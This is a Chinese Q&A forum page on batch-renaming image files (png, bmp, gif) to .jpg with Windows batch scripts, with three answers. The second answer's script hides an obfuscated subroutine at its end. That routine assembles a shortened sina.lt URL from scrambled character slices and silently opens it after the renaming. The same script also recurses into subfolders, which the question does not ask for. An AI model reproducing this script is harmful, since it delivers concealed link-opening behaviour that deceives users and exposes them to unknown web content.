如何用批处理实现批量修改当前文件夹下几种文件格式为一类?
发布网友
发布时间:2022-04-23 03:55
我来回答
共3个回答
热心网友
时间:2023-05-08 10:26
@echo off
rem 修改多种不同的扩展名/后缀名为统一的指定扩展名/后缀名
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
cd /d "%~dp0"
for %%a in (png bmp jpeg gif) do (
for /f "delims=" %%b in ('dir /a-d/b "*.%%a" 2^>nul') do call :loop "%%b"
)
echo;%#% +%$%%$% %z%
pause
exit
:loop
set n=1
set "newname=%~n1.jpg"
:check
if not exist "%newname%" (goto break)
set "newname=%~n1_%n%.jpg"
set /a n+=1
goto check
:break
echo;"%~1" --^> "%newname%"
ren "%~1" "%newname%"
goto :eof
热心网友
时间:2023-05-08 10:26
@echo off & title 修改非JPG后缀名的文件为JPG后缀名 By 依梦琴瑶
::设置常用的图片格式
set PicExt=*.gif,*.png,*.bmp
for /f "delims=" %%a in ('dir /a-d/s/b %PicExt%') do (
echo "%%~nxa" --^>^> "%%~na.jpg"
ren "%%~a" "%%~na.jpg"
)
pause
call :FORME
exit
:FORME
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
热心网友
时间:2023-05-08 10:27
类型不多的话你可要尝试这样操作:
ren *.原后缀名A *.新后缀名
ren *.原后缀名B *.新后缀名
以此类推